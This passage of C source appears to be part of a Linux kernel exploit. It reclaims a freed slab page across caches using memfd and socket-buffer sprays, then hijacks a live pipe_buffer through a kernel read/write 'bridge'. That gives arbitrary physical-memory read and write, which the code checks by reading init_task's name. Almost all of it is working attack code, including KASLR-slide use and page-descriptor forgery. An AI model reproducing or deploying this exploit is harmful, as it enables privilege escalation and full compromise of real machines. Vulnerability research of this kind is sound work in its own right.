printf("CROSSCACHE_KS leaked=%#llx base=%#llx slot=%llu\n", (unsigned long long)leaked,
(unsigned long long)base, (unsigned long long)((leaked - base) / MM_OBJECT_BYTES));
unsigned char *payload = malloc(CC_SKB_SEND_BYTES);
unsigned char *guard_payload = malloc(CC_SKB_SEND_BYTES);
if (!payload || !guard_payload)
die("allocate crosscache payload");
memset(guard_payload, 0x47, CC_SKB_SEND_BYTES);
pin_cpu(0);
for (size_t i = 0; i < CC_GUARD_PAGES; i++) {
crosscache_prepare_socket(guard_sockets[i]);
crosscache_send_prepared(guard_sockets[i], guard_payload);
}
crosscache_prepare_socket(page->sockets);
crosscache_page_base = base;
fill_crosscache_payload(payload, base);
for (size_t i = 0; i < spray.count / 2; i += CC_OBJECTS_PER_SLAB)
crosscache_close_memfd(&spray, i);
for (size_t i = 0; i < pre.count; i++)
crosscache_close_memfd(&pre, i);
for (size_t i = 0; i + 1 < post.count; i++)
crosscache_close_memfd(&post, i);
for (size_t i = spray.count / 2; i < spray.count; i += CC_OBJECTS_PER_SLAB)
crosscache_close_memfd(&spray, i);
if (close(collision_memfd))
die("release leaked mm");
crosscache_send_prepared(page->sockets, payload);
page->base = base;
printf("CROSSCACHE_RECLAIM base=%#llx first_list=%#llx "
"fops=%#llx records=%d send=%d\n",
(unsigned long long)base,
(unsigned long long)(base + FAKE_MISC_OFF + FAKE_MISC_LIST_OFF),
(unsigned long long)(base + FAKE_FOPS_OFF), FAKE_MISC_RECORDS, CC_SKB_SEND_BYTES);
for (size_t i = 0; i < CC_GUARD_PAGES; i++) {
close(guard_sockets[i][0]);
close(guard_sockets[i][1]);
}
munmap(futex_map, FUTEX_MAP_BYTES);
futex_map = NULL;
munmap(shared, 0x1000);
free(payload);
free(guard_payload);
crosscache_context_destroy(&pre);
crosscache_context_destroy(&post);
crosscache_context_destroy(&spray);
crosscache_context_destroy(&prepare);
return base;
}
static void close_fd_pair(int pair[2]) {
if (pair[0] >= 0) {
close(pair[0]);
pair[0] = -1;
}
if (pair[1] >= 0) {
close(pair[1]);
pair[1] = -1;
}
}
static void pipe_reclaim_probe_init(struct pipe_reclaim_probe *probe) {
memset(probe, 0, sizeof(*probe));
probe->carrier.sockets[0] = -1;
probe->carrier.sockets[1] = -1;
probe->pipe_index = -1;
probe->meta_state = PIPE_META_NATIVE;
probe->transaction_log = 1;
for (int i = 0; i < DP_PIPE_DRAIN_COUNT; i++) {
probe->drain[i][0] = -1;
probe->drain[i][1] = -1;
}
for (int i = 0; i < DP_PIPE_RECLAIM_MAX; i++) {
probe->reclaim[i][0] = -1;
probe->reclaim[i][1] = -1;
}
}
static void pipe_reclaim_probe_cleanup(struct pipe_reclaim_probe *probe) {
close_fd_pair(probe->carrier.sockets);
for (int i = 0; i < DP_PIPE_RECLAIM_MAX; i++)
close_fd_pair(probe->reclaim[i]);
for (int i = 0; i < DP_PIPE_DRAIN_COUNT; i++)
close_fd_pair(probe->drain[i]);
}
static int make_small_pipe(int pair[2]) {
int capacity;
if (pipe2(pair, O_CLOEXEC))
return -1;
capacity = fcntl(pair[0], F_SETPIPE_SZ, DP_PIPE_SMALL_BYTES);
if (capacity != DP_PIPE_SMALL_BYTES)
return -1;
return 0;
}
static int grow_pipe_ring(int pair[2]) {
return fcntl(pair[0], F_SETPIPE_SZ, DP_PIPE_LARGE_BYTES) == DP_PIPE_LARGE_BYTES ? 0 : -1;
}
static uint64_t untag_kernel_pointer(uint64_t value) {
return (uint64_t)((int64_t)(value << 8) >> 8);
}
static uint64_t direct_to_page_desc(uint64_t direct) {
if (direct < DIRECT_MAP_BEGIN || direct >= DIRECT_MAP_END)
return 0;
return DP_VMEMMAP_START + ((direct - DIRECT_MAP_BEGIN) / 0x1000) * DP_STRUCT_PAGE_SIZE;
}
static int pipe_cache_gate(int bridge_fd, struct pipe_reclaim_probe *probe) {
uint64_t expected_cache = 0;
uint64_t flags = 0;
uint64_t order_flags = 0;
uint64_t compound_head = 0;
uint64_t slab_cache = 0;
uint64_t page_desc = direct_to_page_desc(probe->base);
uint64_t required_flags = (UINT64_C(1) << DP_PG_HEAD) | (UINT64_C(1) << DP_PG_SLAB);
int ok;
if (!page_desc || (probe->base & (CC_SKB_SEND_BYTES - 1)))
return -1;
if (bridge_read64(bridge_fd, LINK_KMALLOC_CACHES + kernel_slide + DP_KMALLOC_CG8K_SLOT_OFF,
&expected_cache) ||
bridge_read64(bridge_fd, page_desc + DP_PAGE_FLAGS_OFF, &flags) ||
bridge_read64(bridge_fd, page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_FLAGS_OFF,
&order_flags) ||
bridge_read64(bridge_fd, page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_COMPOUND_HEAD_OFF,
&compound_head) ||
bridge_read64(bridge_fd, page_desc + DP_PAGE_SLAB_CACHE_OFF, &slab_cache)) {
printf("PIPE_CACHE_GATE_FAIL stage=read errno=%d page=%#llx\n", errno,
(unsigned long long)page_desc);
return -1;
}
ok = untag_kernel_pointer(expected_cache) >= DIRECT_MAP_BEGIN &&
untag_kernel_pointer(expected_cache) < DIRECT_MAP_END &&
(flags & required_flags) == required_flags && (order_flags & UINT64_C(0xff)) == 3 &&
compound_head == (page_desc | UINT64_C(1)) && slab_cache == expected_cache;
printf("PIPE_CACHE_GATE base=%#llx page=%#llx flags=%#llx "
"order_flags=%#llx compound_head=%#llx cache=%#llx "
"expected=%#llx ok=%d\n",
(unsigned long long)probe->base, (unsigned long long)page_desc,
(unsigned long long)flags, (unsigned long long)order_flags,
(unsigned long long)compound_head, (unsigned long long)slab_cache,
(unsigned long long)expected_cache, ok);
if (!ok)
return -1;
probe->page_desc = page_desc;
return 0;
}
static int find_live_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) {
unsigned char *object;
uint64_t expected_ops = LINK_ANON_PIPE_BUF_OPS + kernel_slide;
uint64_t map_end = DP_VMEMMAP_START +
((DIRECT_MAP_END - DIRECT_MAP_BEGIN) / 0x1000) * DP_STRUCT_PAGE_SIZE;
size_t ring_bytes = 128 * sizeof(struct dp_pipe_buffer);
int page_candidates = 0;
int ops_candidates = 0;
int marker_candidates = 0;
int matches = 0;
object = malloc((size_t)DP_PIPE_OBJECT_BYTES);
if (!object) {
printf("PIPE_SCAN_FAIL stage=allocate errno=%d\n", errno);
return -1;
}
for (int object_index = 0; object_index < 4; object_index++) {
uint64_t object_addr = probe->base + (uint64_t)object_index * DP_PIPE_OBJECT_BYTES;
ssize_t got;
if (pipe_cache_gate(bridge_fd, probe)) {
printf("PIPE_SCAN_FAIL stage=pre_object_gate object=%d\n", object_index);
free(object);
return -1;
}
got = bridge_read_once(bridge_fd, object_addr, object, (size_t)DP_PIPE_OBJECT_BYTES);
if (got != (ssize_t)DP_PIPE_OBJECT_BYTES) {
printf("PIPE_SCAN_FAIL stage=read object=%d addr=%#llx "
"got=%zd errno=%d\n",
object_index, (unsigned long long)object_addr, got, errno);
free(object);
return -1;
}
if (pipe_cache_gate(bridge_fd, probe)) {
printf("PIPE_SCAN_FAIL stage=post_object_gate object=%d\n", object_index);
free(object);
return -1;
}
for (size_t offset = 0; offset + sizeof(struct dp_pipe_buffer) <= ring_bytes;
offset += sizeof(struct dp_pipe_buffer)) {
struct dp_pipe_buffer candidate;
unsigned int marker_index;
int readable = -1;
memcpy(&candidate, object + offset, sizeof(candidate));
if (candidate.page < DP_VMEMMAP_START || candidate.page >= map_end ||
(candidate.page & (DP_STRUCT_PAGE_SIZE - 1)))
continue;
page_candidates++;
if (candidate.ops != expected_ops)
continue;
ops_candidates++;
if (candidate.offset || candidate.length < DP_PIPE_MARKER_BASE ||
candidate.length >= DP_PIPE_MARKER_BASE + pipe_reclaim_count ||
candidate.flags != DP_PIPE_BUF_CAN_MERGE || candidate.private)
continue;
marker_candidates++;
marker_index = candidate.length - DP_PIPE_MARKER_BASE;
if (ioctl(probe->reclaim[marker_index][0], FIONREAD, &readable) ||
readable != (int)candidate.length)
continue;
matches++;
printf("PIPE_SCAN_MATCH object=%d offset=%#zx addr=%#llx "
"index=%u len=%u page=%#llx ops=%#llx\n",
object_index, offset, (unsigned long long)(object_addr + offset), marker_index,
candidate.length, (unsigned long long)candidate.page,
(unsigned long long)candidate.ops);
if (probe->pipe_index < 0) {
probe->pipe_index = (int)marker_index;
probe->pipe_buffer_addr = object_addr + offset;
probe->canonical = candidate;
}
}
}
free(object);
printf("PIPE_SCAN_SUMMARY pages=%d ops=%d markers=%d matches=%d "
"selected=%d addr=%#llx\n",
page_candidates, ops_candidates, marker_candidates, matches, probe->pipe_index,
(unsigned long long)probe->pipe_buffer_addr);
if (!matches || probe->pipe_index < 0)
return -1;
return 0;
}
static int bind_live_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) {
struct dp_pipe_buffer before = {0};
struct dp_pipe_buffer after = {0};
unsigned char marker = SPRAY_MARKER;
int readable = -1;
ssize_t wrote;
if (probe->meta_state != PIPE_META_NATIVE)
return -2;
if (probe->pipe_index < 0 ||
bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &before, sizeof(before)) !=
(ssize_t)sizeof(before) ||
memcmp(&before, &probe->canonical, sizeof(before))) {
printf("PIPE_BIND_FAIL stage=before index=%d errno=%d\n", probe->pipe_index, errno);
return -1;
}
probe->meta_state = PIPE_META_UNKNOWN;
wrote = write(probe->reclaim[probe->pipe_index][1], &marker, sizeof(marker));
if (wrote != (ssize_t)sizeof(marker) ||
bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &after, sizeof(after)) !=
(ssize_t)sizeof(after) ||
after.page != before.page || after.offset != before.offset ||
after.length != before.length + 1 || after.ops != before.ops ||
after.flags != before.flags || after.padding != before.padding ||
after.private != before.private ||
ioctl(probe->reclaim[probe->pipe_index][0], FIONREAD, &readable) ||
readable != (int)after.length) {
struct dp_pipe_buffer restored = {0};
if (bridge_write_once(bridge_fd, probe->pipe_buffer_addr, &before, sizeof(before)) !=
(ssize_t)sizeof(before) ||
bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &restored, sizeof(restored)) !=
(ssize_t)sizeof(restored) ||
ioctl(probe->reclaim[probe->pipe_index][0], FIONREAD, &readable) ||
memcmp(&restored, &before, sizeof(restored)) || readable != (int)before.length)
return -2;
probe->canonical = before;
probe->meta_state = PIPE_META_NATIVE;
return -1;
}
probe->canonical = after;
probe->meta_state = PIPE_META_NATIVE;
printf("PIPE_BIND_PASS addr=%#llx index=%d len=%u->%u "
"readable=%d\n",
(unsigned long long)probe->pipe_buffer_addr, probe->pipe_index, before.length,
after.length, readable);
return 0;
}
static int prepare_pipe_reclaim(int bridge_fd, struct pipe_reclaim_probe *probe) {
unsigned char marker[DP_PIPE_MARKER_BASE + DP_PIPE_RECLAIM_MAX];
int i;
if (!probe->carrier.base || probe->carrier.sockets[0] < 0 || probe->carrier.sockets[1] < 0) {
printf("PIPE_PREP_FAIL stage=carrier_state base=%#llx\n",
(unsigned long long)probe->carrier.base);
return -1;
}
probe->base = probe->carrier.base;
printf("PIPE_CARRIER_READY base=%#llx\n", (unsigned long long)probe->base);
for (i = 0; i < DP_PIPE_DRAIN_COUNT; i++) {
if (make_small_pipe(probe->drain[i])) {
printf("PIPE_PREP_FAIL stage=small_drain index=%d errno=%d\n", i, errno);
return -1;
}
}
for (i = 0; i < pipe_reclaim_count; i++) {
if (make_small_pipe(probe->reclaim[i])) {
printf("PIPE_PREP_FAIL stage=small_reclaim index=%d "
"errno=%d\n",
i, errno);
return -1;
}
}
if (try_pin_cpu(0)) {
printf("PIPE_PREP_FAIL stage=pin_cpu errno=%d\n", errno);
return -1;
}
for (i = 0; i < DP_PIPE_DRAIN_COUNT; i++) {
if (grow_pipe_ring(probe->drain[i])) {
printf("PIPE_PREP_FAIL stage=grow_drain index=%d errno=%d\n", i, errno);
return -1;
}
}
close_fd_pair(probe->carrier.sockets);
printf("PIPE_CARRIER_RELEASED base=%#llx drain=%d\n", (unsigned long long)probe->base,
DP_PIPE_DRAIN_COUNT);
for (i = 0; i < pipe_reclaim_count; i++) {
if (grow_pipe_ring(probe->reclaim[i])) {
printf("PIPE_PREP_FAIL stage=grow_reclaim index=%d "
"errno=%d\n",
i, errno);
return -1;
}
}
memset(marker, 0x50, sizeof(marker));
for (i = 0; i < pipe_reclaim_count; i++) {
size_t length = DP_PIPE_MARKER_BASE + (unsigned int)i;
ssize_t wrote = write(probe->reclaim[i][1], marker, length);
if (wrote != (ssize_t)length) {
printf("PIPE_PREP_FAIL stage=marker index=%d wrote=%zd "
"want=%zu errno=%d\n",
i, wrote, length, errno);
return -1;
}
}
if (pipe_cache_gate(bridge_fd, probe))
return -2;
if (find_live_pipe_buffer(bridge_fd, probe))
return -1;
{ int result = bind_live_pipe_buffer(bridge_fd, probe);
if (result)
return result;
}
if (pipe_cache_gate(bridge_fd, probe))
return -2;
printf("PIPE_RECLAIM_PASS base=%#llx page=%#llx pipebuf=%#llx "
"index=%d len=%u\n",
(unsigned long long)probe->base, (unsigned long long)probe->page_desc,
(unsigned long long)probe->pipe_buffer_addr, probe->pipe_index, probe->canonical.length);
return 0;
}
static int read_pipe_buffer_state(int bridge_fd, const struct pipe_reclaim_probe *probe,
struct dp_pipe_buffer *buffer, int *readable) {
if (bridge_read_once(bridge_fd, probe->pipe_buffer_addr, buffer, sizeof(*buffer)) !=
(ssize_t)sizeof(*buffer) ||
ioctl(probe->reclaim[probe->pipe_index][0], FIONREAD, readable))
return -1;
return 0;
}
static int canonicalize_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) {
struct dp_pipe_buffer before;
struct dp_pipe_buffer expected;
struct dp_pipe_buffer after;
unsigned char *drain;
size_t drain_length;
ssize_t got;
int readable = -1;
if (probe->meta_state != PIPE_META_NATIVE)
return -2;
if (read_pipe_buffer_state(bridge_fd, probe, &before, &readable) ||
memcmp(&before, &probe->canonical, sizeof(before)) || readable != (int)before.length ||
before.length < 2 || before.ops != LINK_ANON_PIPE_BUF_OPS + kernel_slide ||
before.flags != DP_PIPE_BUF_CAN_MERGE) {
printf("PIPE_CANONICAL_FAIL stage=before length=%u readable=%d "
"errno=%d\n",
before.length, readable, errno);
return -1;
}
drain_length = before.length - 1;
drain = malloc(drain_length);
if (!drain)
return -1;
probe->meta_state = PIPE_META_UNKNOWN;
got = read(probe->reclaim[probe->pipe_index][0], drain, drain_length);
if (got != (ssize_t)drain_length)
return -2;
expected = before;
expected.offset += (uint32_t)drain_length;
expected.length = 1;
if (read_pipe_buffer_state(bridge_fd, probe, &after, &readable) ||
memcmp(&after, &expected, sizeof(after)) || readable != 1)
return -2;
probe->canonical = after;
probe->meta_state = PIPE_META_NATIVE;
free(drain);
printf("PIPE_CANONICAL_PASS addr=%#llx index=%d offset=%u length=%u\n",
(unsigned long long)probe->pipe_buffer_addr, probe->pipe_index, after.offset,
after.length);
return 0;
}
static int restore_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) {
struct dp_pipe_buffer observed;
int readable = -1;
probe->meta_state = PIPE_META_UNKNOWN;
if (bridge_write_once(bridge_fd, probe->pipe_buffer_addr, &probe->canonical,
sizeof(probe->canonical)) != (ssize_t)sizeof(probe->canonical) ||
read_pipe_buffer_state(bridge_fd, probe, &observed, &readable) ||
memcmp(&observed, &probe->canonical, sizeof(observed)) || readable != 1)
return -2;
probe->meta_state = PIPE_META_NATIVE;
return 0;
}
static int install_temporary_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct dp_pipe_buffer *temporary) {
struct dp_pipe_buffer observed;
int readable = -1;
int result = 0;
if (probe->meta_state != PIPE_META_NATIVE)
return -2;
if (read_pipe_buffer_state(bridge_fd, probe, &observed, &readable) ||
memcmp(&observed, &probe->canonical, sizeof(observed)) || readable != 1) {
probe->meta_state = PIPE_META_UNKNOWN;
return -2;
}
probe->meta_state = PIPE_META_UNKNOWN;
if (bridge_write_once(bridge_fd, probe->pipe_buffer_addr, temporary, sizeof(*temporary)) !=
(ssize_t)sizeof(*temporary) ||
bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &observed, sizeof(observed)) !=
(ssize_t)sizeof(observed) ||
memcmp(&observed, temporary, sizeof(observed))) {
result = -1;
}
if (!result)
probe->meta_state = PIPE_META_TEMPORARY;
if (result && restore_pipe_buffer(bridge_fd, probe))
return -2;
return result;
}
static int load_physical_layout(int bridge_fd, struct physical_layout *layout) {
uint64_t runtime_image = LINK_IMAGE_BASE + kernel_slide;
uint64_t image_phys;
memset(layout, 0, sizeof(*layout));
if (bridge_read64(bridge_fd, LINK_MEMSTART_ADDR + kernel_slide, &layout->memstart_addr) ||
bridge_read64(bridge_fd, LINK_KIMAGE_VOFFSET + kernel_slide, &layout->kimage_voffset) ||
!layout->memstart_addr || (layout->memstart_addr & (0x1000 - 1)) ||
(layout->kimage_voffset & (0x1000 - 1)) || runtime_image < layout->kimage_voffset) {
printf("PHYS_LAYOUT_FAIL memstart=%#llx kimage_voffset=%#llx "
"errno=%d\n",
(unsigned long long)layout->memstart_addr,
(unsigned long long)layout->kimage_voffset, errno);
return -1;
}
image_phys = runtime_image - layout->kimage_voffset;
if (image_phys < layout->memstart_addr ||
image_phys - layout->memstart_addr >= DIRECT_MAP_END - DIRECT_MAP_BEGIN) {
printf("PHYS_LAYOUT_FAIL stage=image_range image_phys=%#llx\n",
(unsigned long long)image_phys);
return -1;
}
printf("PHYS_LAYOUT_PASS memstart=%#llx kimage_voffset=%#llx "
"image_phys=%#llx\n",
(unsigned long long)layout->memstart_addr, (unsigned long long)layout->kimage_voffset,
(unsigned long long)image_phys);
return 0;
}
static int kernel_virtual_to_physical(const struct physical_layout *layout,
uint64_t virtual_address, uint64_t *physical_address) {
uint64_t address = untag_kernel_pointer(virtual_address);
uint64_t runtime_image_begin = LINK_IMAGE_BASE + kernel_slide;
uint64_t runtime_image_end = LINK_END + kernel_slide;
uint64_t physical;
if (address >= DIRECT_MAP_BEGIN && address < DIRECT_MAP_END) {
physical = layout->memstart_addr + address - DIRECT_MAP_BEGIN;
} else if (address >= runtime_image_begin && address < runtime_image_end &&
address >= layout->kimage_voffset) {
physical = address - layout->kimage_voffset;
} else {
return -1;
}
if (physical < layout->memstart_addr ||
physical - layout->memstart_addr >= DIRECT_MAP_END - DIRECT_MAP_BEGIN)
return -1;
*physical_address = physical;
return 0;
}
static int physical_to_page_desc(const struct physical_layout *layout, uint64_t physical_address,
uint64_t *page_desc, uint32_t *page_offset) {
uint64_t delta;
if (physical_address < layout->memstart_addr)
return -1;
delta = physical_address - layout->memstart_addr;
if (delta >= DIRECT_MAP_END - DIRECT_MAP_BEGIN)
return -1;
*page_desc = DP_VMEMMAP_START + (delta / 0x1000) * DP_STRUCT_PAGE_SIZE;
*page_offset = (uint32_t)(physical_address & (0x1000 - 1));
return 0;
}
static int pipe_physical_read_chunk(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t physical_address,
void *output, size_t length) {
struct dp_pipe_buffer temporary = probe->canonical;
uint64_t page_desc;
uint32_t page_offset;
ssize_t got;
int saved_errno;
int result;
unsigned int sequence;
if (!length || length > 0x1000 ||
physical_to_page_desc(layout, physical_address, &page_desc, &page_offset) ||
length > 0x1000 - page_offset)
return -1;
temporary.page = page_desc;
temporary.offset = page_offset;
temporary.length = (uint32_t)length + 1;
sequence = ++probe->transaction_sequence;
result = install_temporary_pipe_buffer(bridge_fd, probe, &temporary);
if (result)
return result;
errno = 0;
got = read(probe->reclaim[probe->pipe_index][0], output, length);
saved_errno = errno;
result = restore_pipe_buffer(bridge_fd, probe);
if (result)
return result;
if (probe->transaction_log)
printf("PHYS_TXN_RESTORED seq=%u op=read phys=%#llx length=%zu "
"ret=%zd syscall_errno=%d restored=1\n",
sequence, (unsigned long long)physical_address, length, got, saved_errno);
if (got != (ssize_t)length) {
errno = saved_errno;
if (probe->transaction_log)
printf("PHYS_READ_FAIL phys=%#llx got=%zd want=%zu "
"errno=%d\n",
(unsigned long long)physical_address, got, length, errno);
return -1;
}
return 0;
}
static int pipe_physical_write_chunk(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout,
uint64_t physical_address, const void *input, size_t length) {
struct dp_pipe_buffer temporary = probe->canonical;
uint64_t page_desc;
uint32_t page_offset;
ssize_t wrote;
int saved_errno;
int result;
unsigned int sequence;
if (!length || length >= 0x1000 ||
physical_to_page_desc(layout, physical_address, &page_desc, &page_offset) ||
length > 0x1000 - page_offset)
return -1;
temporary.page = page_desc;
temporary.offset = page_offset;
temporary.length = 0;
sequence = ++probe->transaction_sequence;
result = install_temporary_pipe_buffer(bridge_fd, probe, &temporary);
if (result)
return result;
errno = 0;
wrote = write(probe->reclaim[probe->pipe_index][1], input, length);
saved_errno = errno;
if (wrote > 0 && wrote != (ssize_t)length) {
probe->meta_state = PIPE_META_UNKNOWN;
errno = saved_errno;
return -2;
}
result = restore_pipe_buffer(bridge_fd, probe);
if (result)
return result;
if (probe->transaction_log)
printf("PHYS_TXN_RESTORED seq=%u op=write phys=%#llx length=%zu "
"ret=%zd syscall_errno=%d restored=1\n",
sequence, (unsigned long long)physical_address, length, wrote, saved_errno);
if (wrote != (ssize_t)length) {
errno = saved_errno;
if (probe->transaction_log)
printf("PHYS_WRITE_FAIL phys=%#llx wrote=%zd want=%zu "
"errno=%d\n",
(unsigned long long)physical_address, wrote, length, errno);
return -1;
}
return 0;
}
static int pipe_physical_read(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t physical_address,
void *output, size_t length) {
unsigned char *cursor = output;
while (length) {
size_t chunk = 0x1000 - (physical_address & (0x1000 - 1));
int result;
if (chunk > length)
chunk = length;
result =
pipe_physical_read_chunk(bridge_fd, probe, layout, physical_address, cursor, chunk);
if (result)
return result;
physical_address += chunk;
cursor += chunk;
length -= chunk;
}
return 0;
}
static int pipe_physical_write(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t physical_address,
const void *input, size_t length) {
const unsigned char *cursor = input;
while (length) {
size_t chunk = 0x1000 - (physical_address & (0x1000 - 1));
int result;
if (chunk > length)
chunk = length;
if (chunk >= 0x1000)
chunk = 0x1000 - 1;
result =
pipe_physical_write_chunk(bridge_fd, probe, layout, physical_address, cursor, chunk);
if (result)
return result;
physical_address += chunk;
cursor += chunk;
length -= chunk;
}
return 0;
}
static int run_physical_rw_probe(int bridge_fd, struct controlled_page *page,
struct pipe_reclaim_probe *probe) {
const uint64_t marker_mask = NEBUSEC_MAGIC;
struct physical_layout layout;
unsigned char target_pages_before[2 * DP_STRUCT_PAGE_SIZE];
unsigned char target_pages_after[2 * DP_STRUCT_PAGE_SIZE];
unsigned char pipe_page_before[DP_STRUCT_PAGE_SIZE];
unsigned char pipe_page_after[DP_STRUCT_PAGE_SIZE];
unsigned char image_page_before[DP_STRUCT_PAGE_SIZE];
unsigned char image_page_after[DP_STRUCT_PAGE_SIZE];
char image_comm[DP_TASK_COMM_LEN];
char bridge_comm[DP_TASK_COMM_LEN];
uint64_t scratch_virtual = untag_kernel_pointer(page->base) + DP_PHYS_PROOF_OFF;
uint64_t image_virtual = LINK_INIT_TASK + kernel_slide + DP_TASK_COMM_OFF;
uint64_t scratch_physical;
uint64_t image_physical;
uint64_t target_page_desc;
uint64_t controlled_head_desc;
uint64_t image_page_desc;
uint32_t target_page_offset;
uint32_t image_page_offset;
uint64_t page_flags[2] = {0};
uint64_t compound_heads[2] = {0};
uint64_t image_page_flags = 0;
uint64_t baseline = 0;
uint64_t pipe_value = 0;
uint64_t bridge_value = 0;
uint64_t marker;
int marker_written = 0;
int proof_result = -1;
int result = -1;
result = canonicalize_pipe_buffer(bridge_fd, probe);
if (result)
return result;
if (load_physical_layout(bridge_fd, &layout) ||
kernel_virtual_to_physical(&layout, scratch_virtual, &scratch_physical) ||
kernel_virtual_to_physical(&layout, image_virtual, &image_physical) ||
physical_to_page_desc(&layout, scratch_physical, &target_page_desc, &target_page_offset) ||
physical_to_page_desc(&layout, image_physical, &image_page_desc, &image_page_offset) ||
bridge_read64(bridge_fd, scratch_virtual, &baseline) ||
bridge_read_once(bridge_fd, target_page_desc, target_pages_before,
sizeof(target_pages_before)) != (ssize_t)sizeof(target_pages_before) ||
bridge_read_once(bridge_fd, probe->canonical.page, pipe_page_before,
sizeof(pipe_page_before)) != (ssize_t)sizeof(pipe_page_before) ||
bridge_read_once(bridge_fd, image_page_desc, image_page_before,
sizeof(image_page_before)) != (ssize_t)sizeof(image_page_before) ||
bridge_read64(bridge_fd, image_page_desc + DP_PAGE_FLAGS_OFF, &image_page_flags) ||
bridge_read64(bridge_fd, target_page_desc + DP_PAGE_FLAGS_OFF, &page_flags[0]) ||
bridge_read64(bridge_fd, target_page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_FLAGS_OFF,
&page_flags[1]) ||
bridge_read64(bridge_fd, target_page_desc + DP_PAGE_COMPOUND_HEAD_OFF,
&compound_heads[0]) ||
bridge_read64(bridge_fd, target_page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_COMPOUND_HEAD_OFF,
&compound_heads[1])) {
printf("PHYS_PROBE_FAIL stage=setup errno=%d\n", errno);
return -1;
}
controlled_head_desc = direct_to_page_desc(untag_kernel_pointer(page->base));
if (!controlled_head_desc ||
target_page_desc !=
controlled_head_desc + (DP_PHYS_PROOF_OFF / 0x1000) * DP_STRUCT_PAGE_SIZE ||
target_page_offset != 0x1000 - 4 ||
compound_heads[0] != (controlled_head_desc | UINT64_C(1)) ||
compound_heads[1] != (controlled_head_desc | UINT64_C(1))) {
printf("PHYS_PROBE_FAIL stage=target_page_gate head=%#llx "
"target=%#llx compound=%#llx/%#llx offset=%#x\n",
(unsigned long long)controlled_head_desc, (unsigned long long)target_page_desc,
(unsigned long long)compound_heads[0], (unsigned long long)compound_heads[1],
target_page_offset);
return -1;
}
printf("PHYS_PAGE_GATE role=target0 virtual=%#llx physical=%#llx "
"page=%#llx offset=%#x flags=%#llx compound=%#llx "
"hw_tag=%#llx\n",
(unsigned long long)scratch_virtual, (unsigned long long)scratch_physical,
(unsigned long long)target_page_desc, target_page_offset,
(unsigned long long)page_flags[0], (unsigned long long)compound_heads[0],
(unsigned long long)(((page_flags[0] >> 54) & 0xff) ^ 0xff));
printf("PHYS_PAGE_GATE role=target1 physical=%#llx page=%#llx "
"flags=%#llx compound=%#llx hw_tag=%#llx\n",
(unsigned long long)((scratch_physical & ~(0x1000 - 1)) + 0x1000),
(unsigned long long)(target_page_desc + DP_STRUCT_PAGE_SIZE),
(unsigned long long)page_flags[1], (unsigned long long)compound_heads[1],
(unsigned long long)(((page_flags[1] >> 54) & 0xff) ^ 0xff));
printf("PHYS_PAGE_GATE role=pipe page=%#llx\n", (unsigned long long)probe->canonical.page);
printf("PHYS_PAGE_GATE role=image physical=%#llx page=%#llx "
"offset=%#x flags=%#llx hw_tag=%#llx\n",
(unsigned long long)image_physical, (unsigned long long)image_page_desc,
image_page_offset, (unsigned long long)image_page_flags,
(unsigned long long)(((image_page_flags >> 54) & 0xff) ^ 0xff));
result = pipe_physical_read(bridge_fd, probe, &layout, scratch_physical, &pipe_value,
sizeof(pipe_value));
if (result)
goto out;
if (pipe_value != baseline) {
printf("PHYS_PROBE_FAIL stage=baseline pipe=%#llx bridge=%#llx\n",
(unsigned long long)pipe_value, (unsigned long long)baseline);
result = -1;
goto out;
}
printf("PHYS_READ_PASS virtual=%#llx physical=%#llx value=%#llx\n",
(unsigned long long)scratch_virtual, (unsigned long long)scratch_physical,
(unsigned long long)pipe_value);
marker = baseline ^ marker_mask;
marker_written = 1;
result =
pipe_physical_write(bridge_fd, probe, &layout, scratch_physical, &marker, sizeof(marker));
if (result)
goto out;
result = pipe_physical_read(bridge_fd, probe, &layout, scratch_physical, &pipe_value,
sizeof(pipe_value));
if (result || bridge_read64(bridge_fd, scratch_virtual, &bridge_value) ||
pipe_value != marker || bridge_value != marker) {
printf("PHYS_PROBE_FAIL stage=marker pipe=%#llx bridge=%#llx "
"expected=%#llx errno=%d\n",
(unsigned long long)pipe_value, (unsigned long long)bridge_value,
(unsigned long long)marker, errno);
if (!result)
result = -1;
goto out;
}
printf("PHYS_WRITE_PASS virtual=%#llx physical=%#llx value=%#llx\n",
(unsigned long long)scratch_virtual, (unsigned long long)scratch_physical,
(unsigned long long)marker);
result = 0;
out:
if (result == -2)
return -2;
if (marker_written) {
int restore_result = pipe_physical_write(bridge_fd, probe, &layout, scratch_physical,
&baseline, sizeof(baseline));
if (restore_result == -2)
return -2;
if (restore_result) {
printf("PHYS_PROBE_FAIL stage=data_restore errno=%d\n", errno);
if (bridge_write64(bridge_fd, scratch_virtual, baseline))
return -2;
result = -1;
}
pipe_value = 0;
bridge_value = 0;
int verify_result = pipe_physical_read(bridge_fd, probe, &layout, scratch_physical,
&pipe_value, sizeof(pipe_value));
if (verify_result == -2)
return -2;
if (verify_result || bridge_read64(bridge_fd, scratch_virtual, &bridge_value) ||
pipe_value != baseline || bridge_value != baseline)
return -2;
printf("PHYS_RESTORE_PASS virtual=%#llx value=%#llx\n", (unsigned long long)scratch_virtual,
(unsigned long long)baseline);
}
proof_result = result;
if (!proof_result) {
result = pipe_physical_read(bridge_fd, probe, &layout, image_physical, image_comm,
sizeof(image_comm));
if (result == -2)
return -2;
if (result ||
bridge_read_once(bridge_fd, image_virtual, bridge_comm, sizeof(bridge_comm)) !=
(ssize_t)sizeof(bridge_comm) ||
memcmp(image_comm, bridge_comm, sizeof(image_comm)) ||
memcmp(image_comm, "swapper/0", sizeof("swapper/0") - 1) ||
!memchr(image_comm, '\0', sizeof(image_comm))) {
